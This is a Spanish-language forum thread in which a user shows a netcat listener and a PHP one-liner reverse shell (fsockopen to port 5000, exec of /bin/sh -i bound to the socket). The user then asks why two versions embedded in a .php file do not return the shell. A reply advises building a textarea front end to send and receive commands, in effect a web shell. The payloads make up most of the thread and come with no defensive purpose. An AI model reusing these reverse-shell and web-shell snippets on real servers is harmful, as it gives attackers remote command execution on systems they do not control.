Hola foro tengo una duda
si pongo netcat a la escucha en el puerto 5000:
netcat -l -p 5000 -vv
y en otra terminal ejecuto esto:
php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'
me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
<?php
//NO ME FUNCIONA, No devuelve la shell
$ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
?>
o esto:
//NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
<?php
$sock=fsockopen(127.0.0.1, 5000);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
necesitas manejar lo que envias y lo que te llega :D... asi que te tocaria crear digamos un (o dos) textarea en donde se cree algo asi como una shell que muestre el resultado que recibes y que al dar enter te envie lo que escribas (mejor si 2 una para enviar y otra para recibir)...
Espero me hayas entendido ;)